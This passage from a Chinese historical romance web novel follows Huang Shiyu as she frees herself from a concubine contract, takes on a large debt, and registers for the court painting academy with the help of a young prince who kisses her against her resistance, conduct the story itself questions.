黄时雨有一瞬的迷茫,怔怔望着他,“那你为何不早些告诉我,早些说了……我还多感激你些。” “感激?”简珣像是听到了什么笑话,“你怎么会感激,我对你的好,合心意的时候是理所应当,不合心意了便要记仇的。” 黄时雨追不上他阔步如飞,却听清了他的怨怼。 “我没你说的那么坏,也不是不知感恩之人,你的好我都记在心里。” 她气喘吁吁拉住他。 简珣慢慢停下步子,回身凝视。 黄时雨上气不接下气,好不容易平复了呼吸,鼓起勇气看向他,“如今我再求你一件事,可不可以先别告诉我爹我擅自销了鬻妾文书,我明白这个要求很过分,也不是要昧下你的两千两,我会还你的,真的。” 她忙从袖中掏出一张字据,书写标准还按了手印,用力地放在简珣手心,“你看我写的规不规范,这是两千两欠条,你别告诉我爹,我,我努力挣钱还给你好不好?” 简珣沉默地望着手里的借据,尚带着她的体温。 黄时雨也知自己的要求过分,“这么多银子我这辈子或许都还不起,还提这种要求真的很可笑,简直是在欺负君子。” 她自嘲一笑,似乎是下了某种重大的决心,“给我一年时间好不好,一年后还你三百两,若是三百两都还不起我就给你做贵妾。” 一年后若考不上画署,便再也没有机会了。 那么跟谁不是跟,至少简允璋不会苛待她。 简珣始终垂着长长的眼睫,就当黄时雨不抱希望之时,忽然轻声道:“好。” “你若还不上就心甘情愿跟我吗?”他似是不放心,又补问一句。 黄时雨道:“决不食言。” “我知道你不会食言,我问的是你是否心甘情愿?”他缓缓抬眸,眼睛黝黑而明亮,望定了她。 黄时雨艰涩地咽了下,却无比肯定道:“心甘情愿。” 简珣似乎是松了口气,将借据收好,轻声叮嘱道:“我答应你,但在长辈眼里你已经算我的人了,且也知道是我的人,怎么做不用我教你吧?” 黄时雨迟疑了下,又用力点头,“我知道了,以后我会假装听你的话。” 简珣“嗯”了声,“福生,让素秋送顶帷帽来。” 素秋来得飞快。 简珣亲自为黄时雨戴好帷帽,理了理她耳畔碎发,“衙门里什么人都有,戴上这个免得被冲撞了,不要东张西望的,跟好了我知道吗?” 黄时雨点点头。 简珣以私人名义约见县令,一路通畅。 皂吏引二人前往寅宾厅稍后,执名帖进了内衙请示,很快又笑眯眯回来复命,请二人前去县令的厅堂。 进了厅堂,简珣叮嘱黄时雨坐下喝茶,切勿随意走动,便去了另一侧类似书房的地方与县令关起门说话。 事情顺利解决,县令与简珣并肩走出房门,二人互相拱手,简珣一再谢过县令大人,并请他留步。 黄时雨也上前福身见了礼,简珣拉着她快步离开。 直到坐进车厢,黄时雨还如坠云里雾里。 简珣将放妾凭证丢给她,上面赫然盖了县令的公章,然后当着她的面将那份鬻妾文书撕碎,也丢给了她。 从此刻起,黄时雨头上多了一笔两千两巨债。 她用两千两买断了对黄秀才的最后一丝父女情。 既是私下来销文书便是不愿旁人知晓,县令不清楚简允璋这么做的意义,但很乐意帮忙。 盖个章再加上嘴巴严一点,就能让简少爷欠自己一笔人情,何乐而不为? 现在攒下的人情将来某一刻都可能变成改变命运的踏脚石。 县令只悠闲了片刻,就有新的麻烦找上门。 在他治下的大牢有人越狱了。 重犯在砍头前多半会得到一身全新的衣服和丰盛饭菜,当狱卒按照规矩给丐婆送饭时发现牢门大敞,里头干净的连只老鼠都没有。 狱卒吓得屁滚尿流,边跑边呼,“越狱了,越狱了,重犯越狱!” 马车上的黄时雨不知在想什么,一言不发。 简珣莫名觉得她长大了。 大人才会深沉,喜怒不形于色。 “我知道你想进画署,现在你是自由身了,加油呀。”他努力不让自己心痛。 黄时雨“嗯”了声,“谢谢你。” 她怎么还谢他呀。 简珣语窒,心里想的全是如何名正言顺拥有她。 他调开视线,努力捺下想碰碰她,握住她手的冲动。 她是他整个年少的幻想与梦,他渴望她的身体也渴望触及她的灵魂。 更无比阴暗地期盼她明年拿不出三百两,那样,她就不得不心甘情愿属于他了。 他,想要她,快想疯了。 这样的冲动只能凭借挥汗如雨的蹴鞠与练剑发泄。 简夫人突然传梅娘叙话,黄秀才就猜到了什么事。 当简家仆婢交代夫人已将文书还给黄二小姐,去留凭她自己做主,黄秀才的呼吸都停滞了。 幸而梅娘是个知道好歹的,昨日并未大吵大闹,今儿个还主动给夫人送画册,想来是默认了。 默认了好啊,以后好好与允璋相处。 这个猜测在见到简珣亲自送梅娘回家就益发肯定。 小两口显然是从其他地方坐马车而归,想必出去游玩了。 简珣轻轻握住黄时雨的手,将她扶下马车,却没有立即松开,“梅娘,过几天我接你一同回书院。” 黄时雨瞥了眼附近的婆子,那是阿爹和黄太太的眼线,便任由他牵着自己,小声嗯了声。 简珣见好就收,依依不舍松开。 黄时雨已经慢慢接受他不是单纯的发小,是有欲念的男子,对漂亮的女孩子没抵抗力,而她恰好生得美丽,那么他偶尔对她有些炽热杂念再正常不过。 但她相信他一定不会真的欺负她。 一对神仙似的壁人。 黄秀才负手笑了笑。 此刻,也有个人对着黄家正门的方向笑了笑。 丐婆眼底掠过一抹阴鸷。 小丫头不中用,红线团儿也乱得很,看她算卦老婆子如何强拆了。 剪东面,割西面,再把中间扭成了一股绳。 第33章 战栗 简欣兰的泽禾之行非但未能如愿,反而令宋鸢与简珣产生了巨大隔阂。 宋鸢来时有多欣悦回去便有多低落。 十七那日突然主动请辞回京。 程氏不咸不淡地挽留。 宋鸢心底悲苦,年幼相识,长大一见倾心,却因变故断送前缘,原以为只要与心上人携手争取或许还有一线转机,无奈妾心如故,君心转移。 宋鸢匆匆拜别表舅母程氏,假装没瞧见阿娘满脸的失望与不解,含泪撰写书信一份,托仆婢转交简珣。 信中所书寥寥几行字:闻君有他心,从今以往,勿复相思,相思与君绝。 简珣坐在书案前,晨光落在他微凉的容颜。 黄时雨报喜不言忧,一头扎进姐姐怀里给她看简珣写的放妾书,绝口不提两千两巨债。 事情真的这么容易吗? 姐姐微笑看着妹妹,天真无邪,明媚如此。 黄时雨把头歪在姐姐肩膀,简允璋是君子,君子可欺以方,她欺负了他。 两千两借出去不知能收回多少利息,她却一分也未许,甚至何时还清都是模糊的,因为很可能一辈子都还不清,那还许什么。 而他也未揭穿她的自私自利。 仅靠甜水铺子的微薄收入,便是不吃不喝生生饿死,黄时雨也无法一年内拿出三百两。 幸而天无绝路。 只要考进画署,成为画员,她就能得到朝廷下发的二百六十两贤才优恤金。 先凑齐三百两再说。 先帝崇文,大力推行诗画,举清泉石上居选贤任能,每三年一次大考,每届应试不下八百余人,中者却往往不足十人,因时间皆与乡试同年,被时人戏称小乡试。 亦是布衣百姓跨越阶层的唯二捷径,仅次于科举。 八百,比起科举考试的人数恰如九牛一毛,盖因画道极耗钱财,非家底殷实无法精于此道。 不怪简珣评价黄时雨喜欢的东西太过烧钱。 黄时雨自己也很纳闷,分明乡野出生,缘何就痴迷画道? 仿佛与生俱来的,是刻进骨子里的东西。 她想起华山长有位画署的闻姓好友,简直瞌睡了有人送枕头。 黄时雨有一肚子的问题徐徐图之。 秋分回到甜水铺子,就开始认真准备蛋黄酥,小吊炉烘烤,酥脆入口即化。 她都能想象华山长咬一口幸福地眯起眼。 在成为画师这条路上,黄时雨可谓是习得一身五花八门的本领。 天微亮她就巴巴儿的往书院赶,兴冲冲来到了华山长学馆,从门口探出半颗小脑袋。 韩意淮正与华山长面对面下棋,余光一闪,嘴角溢出了笑意。 他的目光投向她,眨了眨,似乎在说“看什么看”。 黄时雨美眸微睁。 “小丫头来啦。”华山长早就饿了,连忙招呼她。 “华山长安。”黄时雨将食盒递与小厮,又对韩意淮道,“思渊兄好。” 韩意淮颔首,看上去心情不错,忽然对华山长道:“现在我要把人带走咯。” 华山长胡子一抖,“不行不行,你一个小子要带姑娘家去哪儿,多不合适。” 韩意淮的笑意就淡了,捻棋抬眸。 华山长气势顿时弱了三分,小声咕哝道:“她还不满十六,何必呢,殿下身边又不缺人,弄回去也只能当侍妾,把人小姑娘身子都糟蹋坏了。” “不是,您老在想什么,今儿她本就该给我请安,我能对她做什么。”韩意淮失笑道。 大家都是男人,能想什么心里没点儿数吗。 只不过华山长是老爷爷,已经对年轻小姑娘失去兴趣,只把黄时雨当小孙女看,但不代表他不了解肃王这个年纪的男子在想什么。 韩意淮眉间隐现羞恼之意,神色也沉了下去。 小王爷再和气也是小王爷,岂能被人一而再再而三地逆了心意,甚至妄自揣测。 于是那种上位者对下位者独有的压迫力立刻显现,连门口的黄时雨都受到波及,如此低压令她周身不适。 心道思渊也太失礼了。 身为晚辈怎能如此直视长辈,不,那都不叫直视,分明是睥睨。 华山长不敌,只好拿出气势压黄时雨,板着脸呵斥:“这里有你什么事,还不快回家。” 可我还有好多问题呢?黄时雨不大情愿,却也是个听话的小孩,只好欠了欠身怏怏离去。 韩意淮眸色凌厉,起身离开。 华山长浅浅叹了口气。 点到为止,既不能也不敢去拦肃王。 黄时雨闷头往前走,还在想报名画署的事儿,得要册籍保人画押等证明身份的文书,那就不得不求助阿爹,势必也要暴露自己恢复自由身的秘密。 有没有其他法子呢? 原本今天就能问华山长,岂料半路杀出陈咬金思渊,害她失了问上一问的机会。 又得耽搁三五日。 想得入神,冷不丁就撞上一堵人墙,黄时雨怔怔然退后两步,“对不住……” 她人钝钝的,痛觉似乎也比正常人钝一点,道完歉才去摸撞疼的额头。 韩意淮忍俊不禁,“小木头,你撞到人也不知抬眼看一看撞了谁吗?” 黄时雨蓦地抬首,“思渊兄?” 这人怎么神出鬼没的。 仿佛听见了她腹诽,韩意淮没好气道:“我发现你走路只管盯着脚下,常常瞧不见我。” “你方才不还在华山长那儿,早知你离开我就不走了。”黄时雨懊恼。 “怎么,你找他有事?”韩意淮问。 “那可不,天大的事!”黄时雨道。 “问我呀,说不定我也懂。” 黄时雨心头一亮,开始认真打量他,“其实能不能解倒是其次,关键得保密!” 韩意淮举三指发誓:“保密,保管给你保密。” 黄时雨觉得死马当活马医也未尝不可,况且他看起来就像见多识广的,便照实说了自己想报名画署却又不敢惊动家人,两下里为难,不知可有其他法子能行。 她怕暴露自由身从而不自由。 韩意淮以为她怕家人阻止画道。 两下的认知都得隐瞒报名画署之举,倒也算殊途同归。 韩意淮一手抱胸另一手支着光洁下巴,显然是在思索。 黄时雨道:“要不你慢慢想,我先回去,明日再抽空拜见顺便请安。” 韩意淮连忙攥住她纤细的腕子,“急什么,我只是在想用哪个法子才显得低调些。” 黄时雨道:“能报上名不惊动我家人就行。” “跟我来。” 她被他半拽半哄带回了舍馆。 韩意淮走进书房,在书案下的暗格翻找,抽出一张名帖,抬眸竟发现黄时雨还站在门口,不由气笑,“你倒是过来呀。” 黄时雨受不住诱惑,果然走到他身边,韩意淮两指夹着名帖晃了晃,“看见没,陆宴的名帖。我再带你去府衙补办一张册籍,加上这个,直接投递,连面试这一遭都替你省去。” 当他说起“陆宴”二字,黄时雨已经瞪圆了眼。 确实想另辟蹊径,但没想过思渊直接给她送终点了。 有陆宴的名帖何止可以报名,连报名前的面试关卡都省了。 不知省去了多少麻烦。 “这……这,思渊兄大恩,小的没齿难忘……”她激动不已都有些不会说话了。 往常也不是没激动过,却从未像今日这般,右膝莫名酸软,脚下又像是被什么绊了,总之站不稳,只能直勾勾扑向了恩人。 恩人思渊大马金刀坐在太师椅里,一脸无辜望着她。 “呃。”韩意淮闷哼一声,与黄时雨抱个满怀。 惊魂未定,黄时雨趴在他怀里扭头看向他,未料这样一个举动将自己的唇严丝合缝地贴上了他的。 两人俱是浑身一震。 黄时雨恨不能挖个地洞钻进去,想说对不起,话到嘴边就被吞没。 反正亲都亲上了,哪能蜻蜓点水。 韩意淮当机立断以掌固定她脑袋,索取那双饱满又柔软的唇。 当湿热又陌生的气息完全笼罩,黄时雨瞳孔骤然放大,脑袋里的一根线也断了,浑身战栗。 她想推他,却推不动,无论是双手还是舌都抵不过他,而他似乎也很喜欢她的“回应”。 韩意淮竭力停下了这场惊喜地缠绵,贴着她的唇喘息,笑道:“我还是头一次被姑娘家这样感谢呢。” 黄时雨抿唇从他身上撑起,大声控诉:“即便有错在先的人是我,那也是因为我腿麻站不住,并非故意为之,你本是受害者却趁机吃我嘴巴,你卑鄙。” 还用舌在她口中……不让她好好喘气,因为太过陌生和震惊,她还没学会如何应对,黄时雨声泪俱下。 韩意淮面红耳赤,却被她一句“卑鄙”骂醒了,慌忙辩解:“是你先亲的我,送上门的嘴巴我当然得尝尝,我是卑鄙小人,那你是什么,你瞧瞧你是什么?” 他义愤填膺的。 黄时雨发现自己正跨坐他腿上,顿时无地自容,“我,我站不起来,救命呜呜。” 她的腿麻到现在,也不知怎么了。 韩意淮不意竟把姑娘家惹哭了,连忙道:“别哭别哭,我不同你计较便是,你坐着吧……” 这是坐不坐的问题吗?黄时雨涨红了脸,将重心放左腿,扶着他肩膀站了起来。 “我帮你。”韩意淮轻轻握住她的腰。 黄时雨怎么也没想到他忙中添乱,这厢好不容易站起又因他的手坐了下去。 两人大眼瞪小眼。 韩意淮垂眸慢悠悠道:“你确定还要继续坐着么?” “不是,不是。”黄时雨委实跳进黄河也洗不清,右腿甫一恢复知觉便弹跳而起,仓惶后退,“不坐了不坐了,对不住了。” 韩意淮笑了笑,“其实我真不介意的。” 黄时雨如临大敌,又往后退了数步。 韩意淮倾身向前,扯了扯衣摆,仍旧坐着。 默然片刻,他抬眸看她,“咱俩现在不算陌生了吧,下回遇见可得好生看清楚我。” 黄时雨“嗯”了一声。 他又道:“明儿我接你去府衙。” 黄时雨还未从尴尬中走出,嗫嚅道:“可是我从未去过京师。” 府衙在京师,来回加起来怕是得半天。 “怎么,怕我把你卖了?”韩意淮偏头看她,“方才你占我那么大便宜我都没计较,你居然害怕我。” 黄时雨局促地捏了捏手心,红着脸道:“我,我也吃了大亏,彼此彼此,可不可以莫要再提。” “好。”韩意淮有点儿不虞,不过仍是耐心哄着她,“那你到底要不要随我去?机会只有一次哦,我也不是很闲谁都帮的。” 黄时雨垂着眼紧盯自己的鞋尖,几度天人交战,终于点了点头,声若蚊吟,“我随你去……” 韩意淮笑意加深,“嗯好,今儿就当你请过安,回去吧。” 黄时雨一溜烟跑了。 韩意淮重新往后靠在椅背,长舒了口气。 他本意是想看女孩子激动之下扑通跪地给自己磕个头,这才弹了她膝间麻穴,未料戏弄不成反与她抱成了团儿,事情出乎意料地可怕。 但也出乎意料地刺激,刺激到他当时就有了反应,幸好黄时雨没瞧见,也或许是瞧见了,但是不懂。 黄时雨以为韩意淮扇子在衣袍里滑落,才撑那么高。 回去之后,黄时雨躲在内室抱头。 韩意淮吃嘴巴的举动着实吓得她魂不附体。 而他也并未有想解释的打算,仿佛什么都未发生,照常与她说话。 黄时雨都快要怀疑那段唇间纠缠是不是自己的错觉。 可她想要画署的报名资格。 她抱膝再三思量。 迈入画署就能吃到朝廷俸禄,生活便也有了保障。 一旦被阿爹随意嫁了还有和离的底气。 再有出息一些的话,她还能售卖水墨,画员的水墨定然要比市井庙会上的书生来得金贵。 再再出息的话说不定就能变成闻大人那样的女官。 所有的锦绣前途都在画署。 端看她能不能进去。 韩意淮头一回与女孩子正式相约,心生忐忑,忐忑即生忧患。 那是个说话做不得数的人,完全有可能突然告知他“不约了”。 毕竟她与他算不得热络,难免生有防备之心。 次日越想越觉得又要被黄时雨背约,韩意淮急匆匆来到黄家后院正门,透过车窗,那抹熟悉的娇影瞬间映入眼帘。 她立于晨曦微露中,遥遥等待。 韩意淮的眸光旋即就被点燃了,滚烫滚烫的。 只见黄时雨的一张小脸被鹅黄褙子衬得分外明艳袭人,泥金绘彩的青纱帔子下一腰浅浅宝花绛纱裙,招风揽火的,把个小王爷的魂儿都要融化了。 韩意淮再尊贵也不过是个少年郎,养气功夫尚未大成,黄时雨如期赴约早已令他心花怒放。 他喜欢同她说话,心脏都跳得格外有力。 韩意淮轻快下车,音色不禁比平日更显低柔,“你怎么就带一个丫鬟?” 纯属好心多此一问,原以为她会多带几个再带个小厮。 黄时雨坦然道:“我就一个大丫鬟。不过琥珀姐姐见多识广,认得府衙的路,此行极是方便。” 表面上夸琥珀,实则警告韩意淮休要耍花招,自己的丫鬟可不是没见识的,若他去的不是府衙,就会被当场拆穿。 琥珀偷偷打量韩意淮几眼,又垂下眼眸。 韩意淮郁郁道,“知道了。” 怎么把他想的那么坏啊。 他是真心要帮忙的。 不意黄时雨竟牵着自己丫鬟的手登了他的车。 亲王的车驾岂是什么奴婢都能僭越的! 肃王的内侍和宫女神色一凛,原想上前阻止琥珀,却见主子轻轻摇首,只好垂手作罢。 平时不管做什么,都是旁人尊让他,韩意淮眼睁睁见黄时雨走在他前面,甚至连丫鬟也…… 他讪讪登车坐了进去,目光不期与黄时雨相抵。 黄时雨对他一笑,犹若海棠醉日。 韩意淮便恍了神,不由言而随心,“京师可有趣啦,等你考进画署我可以带你去看十锦亭的雪,元宵节的鳌灯会,顺便请你喝兰霜乳茶。” 琥珀心惊肉跳觑着陌生公子对二小姐眉目含情,绵绵相视。 黄时雨心向往之,脱口问道:“十锦亭,可是雪阳山御用围场的十锦亭?” 简珣所赠的小札上有记载:天恩浩荡,赐画署雪阳山采风,众师生罔顾凛冽瑞雪,围坐十锦亭,俯瞰清川浩渺,慨大康壮阔山河。旁边小注——十锦亭,御用围场标志性建筑。 韩意淮回:“嗯。” 黄时雨道:“你连陆宴的名帖都有,所以你也是画署的人对吗?” 而且在画署的地位绝对不低。 韩意淮噙笑:“不是,我不在画署。” 他换了个话题:“说起来我还从未见过你的墨宝,改日送我瞧瞧,说不定还能引荐你去清泉石上居。” 这话实在诱人,但黄时雨也清醒得很,天下没有白吃的馅饼,更没有不需要还的人情。 黄时雨摇了摇头,“拙作你想什么时候瞧都行,清泉石上居就不必了,即便托你的福混进去也不过图惹人生笑。” 就连画署八字还没一撇呢。 韩意淮益发觉得黄时雨有趣,“你倒是个通透的,不过想左了我的意思,我还尚未有权使令阁主,只是引荐而已,能不能成也得看他心情。” 阁主的脾气,便是黄时雨这样的乡野小画师也略有耳闻,思渊所言倒也不虚,等闲之辈还真混不进去。 清泉石上居不仅是天下名流画师之圣地,更是宫廷御用画师的采选之所,承担着宫城一年四季所有书画之责,更兼宣扬四海内外大康的文人才情。 画员皆以墨宝陈列石上居为荣。 黄时雨沉吟道:“阁主威名我在泽禾也略有耳闻,听说他性情乖张冷酷,曾于阶上肆意嘲讽前来求见的画师,甚至施以鞭刑,这……是真的吗?” 韩意淮道:“是。” 目光落在她唇上,又轻飘飘调开视线。 这么恐怖的人担任阁主,究竟是画师的福还是祸。黄时雨不寒而栗。 不过她的目标仅在画署,尚无入石上居的勇气,既然传说是真的,那就更没了勇气。 韩意淮戏谑道:“你还是老老实实待在画署吧,那阁主青面獠牙,杀人不眨眼,可不像我既善解人意又怜香惜玉。你这张小嘴一看就不会哄人的,凑他跟前多半讨不着好,说不定还要被凑一顿扔回老家。” 黄时雨轻轻打个冷战。 韩意淮却从蹀躞带解下一只小荷包丢给她,“呐,给你。” 黄时雨打开一瞧,竟是盒药香与花香交织的膏状物,莫不是唇脂? 韩意淮指了指自己的下唇,“昨儿我就发现你这里撞破皮,涂它很快就能痊愈。” 黄时雨两靥肉眼可见染上红晕。 韩意淮全然不把琥珀当外人,口无遮拦道,“其实我锁骨也被你撞得有点痛。” 始终端坐的琥珀早已瞠目结舌,骇然惊悚瞄向黄时雨。 你俩的嘴和锁骨发生了什么? 第34章 怜爱 黄时雨的鞋尖悄悄碰了碰韩意淮的皂靴。 快闭嘴吧你。 韩意淮心头一突。 侍从在权贵眼里就是个活的物件罢了,且还是私人的。 主子和谁亲密瞒谁也不会瞒他们,亦没必要瞒。 年轻的肃王一时没解过来,不过他理解成黄时雨害羞。 害羞的话那就不提了。 其实他也有一点害羞。 可是与黄时雨做亲密的事实在是太舒服了,他还想要,却找不到时机,又不想用身份压迫她,只能期待一个花好月圆日顺其自然了。 韩意淮把一切都想得很好,望着黄时雨的眼神益发柔和。 黄时雨觉得他怪怪的,但并未多想,满心都是办了册籍再去画署报名,不知要耽搁多久,唯一能确定的事得赶在宵禁前出城门。 放在从前,送黄时雨一万个胆子也不敢只带个丫鬟就野到了京师,且还是与一名半生不熟的男子同行,然后在深夜里奔赴家的方向。 光是听一听都蛮疯的。 可见人一旦逼一逼,什么事儿都敢做。 府衙的寅宾厅不止比县衙气派还更正规,分了男女两间,以便接待男女贵客。 坐了那么久马车,黄时雨和琥珀也终于有机会去趟净房顺便洗漱整理,再喝杯热茶歇歇。 喝茶便也有了说话的空隙。 黄时雨知晓琥珀想问什么,干脆自己先说了,“我没站稳撞他身上,这道口子也不是什么上火引起的,就是他锁骨害得。” 单从匪夷所思的陈述,琥珀难以想象当时的场景,只能左右瞧瞧,确定没有旁人才压低了声音道:“那还有其他的事没,比如……嗯……他用嘴巴碰你的?” 黄时雨羞愧地垂下头,“碰是碰了,不过是我先动的嘴,但我不是故意的,干脆谁也别怪谁,这事就这么过去吧,往后大家都别再提起。” 琥珀心道他能怪什么呀,不知得多爽。 “二小姐,这种事男子和女子的感觉不一样,于你来说丢脸不舒服,可于他……总之往后加倍小心,若他还想这么碰你,千万不能依。” 越说越犯难,不知如何与未出阁的小姐表达才能令她警醒,“这种事极其危险,万不能发生第二次,你是不懂男子兴起的模样,一旦他得了趣,接下来怎么做由不得你,他也很难停下。” 黄时雨听得云里雾里,不过从琥珀的神情也能断定事情并不简单,甚至相当危险,便正色道:“我明白你的担忧,不会的,下次给他请安我带上你。” 琥珀勉强笑了笑,眼底一片忧虑。 她眼界虽略宽于黄时雨,却到底有限,并不懂画署啊陆宴这些词儿,单凭直觉这位叫思渊的公子绝非善类,还不如简少爷可靠。 琥珀望着单薄的二小姐,到底是多强的信念非进画署不可,才要冒如此风险。 此番进京,不啻与虎同行。 简直是拿命赌一个陌生人的人品。 但凡遇上个坏人,多的是办法坑害两个小女子。 黄时雨眼睫微颤,揣着双手,轻声道:“琥珀姐姐,我欠了两千两,明年底必须凑出三百两,凑不出的话我这一生也就这样了。” 女孩的声音很轻,宛若在叙述旁人的事。 正常女孩子怎么能因男子一句话就跟人走呢。 可她没办法呀,无论谁递来的梯子,她都会死死抱住。 她不是不懂,反而什么都懂,才让此行显得有些悲壮。 这悲壮只有她自己清楚,现在琥珀姐姐也清楚了。 两千两? “小姐……” 琥珀倒吸一口冷气,仿佛变成了石雕的人儿,又轰然裂开。 二小姐究竟瞒了她多少事。 给纨绔做妻或者给简珣做贵妾,其实都差不多。 都是在没有爱和自由的牢笼里做男子的玩物,然后生孩子。 无论跟谁都一样。 不快乐的事情本来都一样。 每个泽禾的女子长大了都会面临,黄时雨并不认为自己会例外,她只是想试试看能不能走出去。 实在走不出,过个八年九年的多半像姐姐一样被夫家抛弃或者自请下堂,然后与姐姐相依为命。 黄时雨端起茶盏一口气喝光,拍了拍苍白的琥珀,笑道:“吓唬你呐,我早就想到了解决的法子,三百两而已,等我考进画署当场就有二百六十两优恤金!” “画署这么好的吗?”琥珀受黄时雨感染,灰败面色略有缓和。 “那当然。”黄时雨小脸微扬,明媚模样儿仿佛冬日的小暖阳。 她对琥珀款款阐述画署和前途,“本朝画署与天文、书艺、医官四局并立,由朝廷直接管理,汇聚了天下最优秀的丹青妙手,民间画师通过考试便可称为画员,享受与翰林、侍诏等文官相近的待遇,祇候以上便有了官职,穿戴官服,领更多俸禄。” 琥珀听得两眼放光,“便是咱们女子也能去考的吗?” 黄时雨说那当然,“四局相当宽宥,对男女一视同仁,唯贤才任之。” 话虽如此,札记上所列的贤才几乎看不见女子的姓名,可见那不是小女子所能轻易涉足的地方,黄时雨前路渺茫,但她只对琥珀说好的一面。 也只有这样,才能安慰自己。 再说闻大人不就是现成的例子,每每想到她,黄时雨就如鼓起的帆腹,振作不已。 宝天府知府做梦也没想到肃王来一趟就吩咐自己做这么点事,当下不仅把册籍办得稳稳妥妥还加了一封路引,以便考生自行进京考试。 一看考生还是个姑娘家,老狐狸知府疑窦丛生,又仔细看了看黄时雨的户籍和家世,再往上数八代与韩家也沾不上亲,非亲非故的竟得到了肃王青睐,除了男女之事没有其他解释。 但男女之事也解释不通。 画署又不收侍妾或侧妃。 知府想不通便放弃,这不是他该操心的,他只关心肃王满不满意。 肃王满意了才有他的好处。 韩意淮拿到册籍和路引,心情更上一层楼,有一种奇怪的成就感,哪怕很微小,但他参与了黄时雨的梦想。 两人在寅宾厅附近的小花园汇合,枫叶初染红,秋意如水柔,年少的他们尽是欢颜。 韩意淮道:“没骗你吧,我做事向来靠谱。” 黄时雨退后两步,端端正正朝他屈膝施礼,“思渊兄高义,小女子黄时雨感佩万千,铭记在心,他日如有力所能及之事愿为恩公效犬马之劳。” 韩意淮目光落在她眉眼,益发怜爱,“好呀,先陪本恩公用个午膳,我可是饿坏了。” 少年郎正逢长身体的年纪,又过了饭点,此时早已饿得不轻。 黄时雨也饿,但报名更重要,不把该做的事情做完,总觉得不踏实,画署是唯一一条尚有微光之路。 “那你先用饭,我去去就回。” 这是个两全的法子。 韩意淮连忙拦住她,“吃饭的地方也能报名,跟我来。” 他拉着她手腕就走。 黄时雨半信半疑,只好提裙跟上。 听闻肃王驾到知府早就命人置办席面,设在公宴厅,乃津味斋主厨亲自掌勺,断不会出错。 能在京师这种地方做知府的,首要便是八面玲珑,长袖善舞,宝天府知府正是这样一位奇才。 肃王这边感觉到饿,那边席面已经布置好。 若不是他身边带了个美人儿,知府还能凑出一队正规教坊的歌姬舞姬。 韩意淮轻描淡写道:“有劳知府大人。” 知府笑得愈发和蔼可亲,“哪里哪里,殿……公子请慢用,仓促之间如有不周还望公子海涵。” 黄时雨诧异地看向平易近人的知府。 这位老大人的嫡子与琥珀有段渊源,乃负心薄幸之人。 琥珀全程面不改色,毕竟哪家父亲也不熟悉儿子的妾室,更何况妾室繁多者,所以知府不可能认识琥珀。 退一万步说,即便认识又如何,日理万机的知府哪里会去记个无足轻重的小人物。 只有琥珀一个人记得这段故事的所有悲欢。 黄时雨莫名难过。 她不想琥珀多看这家人一眼,便早早催她下去用饭了。 琥珀对黄时雨浅笑,自是明了她的心意,福身离开。 这厢知府见肃王落座立即识趣地告退。 韩意淮瞥了眼黄时雨的神情,“你认识汤知府?” “不认识。” “那怎么瞧见他就变了神色。” 他后脑勺长了眼睛么,怎么这都知道。黄时雨只得简短道:“他有个很坏的嫡子。” 汤知府的嫡子年轻上进,这两年小有政绩,地方口碑也不错,没听说有多坏呀。韩意淮怎么想也就怎么说了出来。 黄时雨冷哼,“你说的都是能力,我说的是私德,负心薄幸,天下最坏的男人。” 韩意淮噎了噎,不放心道:“负心薄幸,你……” “跟我没关系,但是跟我认识的一个姑娘有关系。” “哦。” 跟她没关系就成。 韩意淮拿不准她脾气便不再开口。 有能力且尊重正妻的男子已经很优秀,谁会管他沾花惹草的事。但聪明的韩意淮绝不会对黄时雨这么讲,因为她是女孩子,只会共情女孩子,自己讲实话定会惹她生厌。 韩意淮想了想,“我就不是那种人,要是有个像你一样漂亮的女孩子跟了我,我一定对她特别好,不惹她伤心。” 说罢,期期艾艾望着黄时雨。 黄时雨垂下了眼睫。 见她兴致缺缺,韩意淮只好开始用饭。 黄时雨被人伺候了整整一顿饭,思渊的仆婢仿佛她肚里的蛔虫,菜布得相当熨帖,而他好像早就习惯了这种服侍,喜欢什么全靠眼神,抬抬手指,就有人递上漱口的香茗和擦手的湿帕子。 黄时雨用饭全然不像乡野女子,反而极有规矩,杯箸碗碟,咀嚼吞咽,全无杂音,却偏又吃得香甜,瞧着就很有食欲。 韩意淮时不时看看她。 凡她尝过的,他都要跟着尝一口,甚至连不爱吃的烧笋鹅也尝了一块,好像也没那么难吃了。 黄时雨的饭量超过了韩意淮的认知。 谁告诉他女孩子都吃很少的? 因为太饿了,而且实在是太好吃,当然吃得多。黄时雨只能控制吃相,却不想委屈了肚子。 黄时雨忽然顿住,不解地看向韩意淮。 韩意淮也不掩饰自己目光,甫一对上她眸子,忽地笑了。 简珣也经常这样,莫名盯着她瞧,莫名地笑。 黄时雨习以为常,以为男孩子都这样,便收回目光,继续用饭。 韩意淮指了指莼菜鲈鱼羹,银鹤立即领会他的意思,亲自盛一碗呈给黄时雨。 黄时雨尝了口,果然鲜美,眉眼略弯。 韩意淮莞尔。 画署的祗候正在廨所附近溜达,就接到了府衙传话。听清话音,他一刻也不敢耽搁,驭马直奔府衙所在的光德坊。 光德坊乃京师唯一不在皇城城墙内但又极为重要的官衙重地,也正因不在皇城内,祗候才得了便宜,一路策马,否则中间有段路得靠腿走。 府衙迎接他的是一名衣着华丽的男子,面白无须。 男子自称肃王身边的金鹤,祗候连忙拱手,“金鹤常侍。” 金鹤还礼,笑道:“请祗候随我移步公宴厅。” 去公宴厅的路上金鹤言简意赅地交代了肃王的用意,祗候连连点头称是。 祗候在偏厅稍坐一盏茶,就见到了肃王,以及肃王身边的大美人。 原以为是肃王的侍妾,因为没听说肃王有王妃和侧妃,不意竟要报名画署。 祗候有一瞬间惊讶,又迅速调整好,只垂眸问了黄时雨姓名以及户籍所在地。 原来画署的报名这样简单,全然不见札记里的繁琐,黄时雨全程只回答了两个问题,然后就没她什么事了。 直到祗候在凭考证盖上章,她还如坠云里雾里。 黄时雨双手接过,欠身道谢:“多谢大人。” 祗候慈眉善目的,交代完黄时雨注意事项,便重新对肃王施礼,一把年纪的祗候,弯腰时还颤巍巍的,只听他道:“殿……呃公子若无其他吩咐,老臣便回去继续坐班了。” 韩意淮颔首,祗候便再施一礼,后退两步方转身离去。 黄时雨总觉得所有的大人对待韩意淮都有点儿相同的诡异。 他们,似乎,都有点敬畏他。 敬畏一个足以当他们小孙儿的小子? 饭后在府衙的女寅宾厅稍作休整。 琥珀服侍黄时雨重新净面梳头,期间还帮她涂了韩意淮送的脂膏,清清凉凉,点在唇间,伤口果然不再痛,早早结了痂。 且脂膏颜色如三月桃花,分明就是唇脂,宛如香雪堆里点朱砂,益发显得黄时雨面若芙蓉,色如海棠。 琥珀暗道思渊公子竟是个会讨小女儿家欢心的。 花花肠子多的男人多半不老实的。 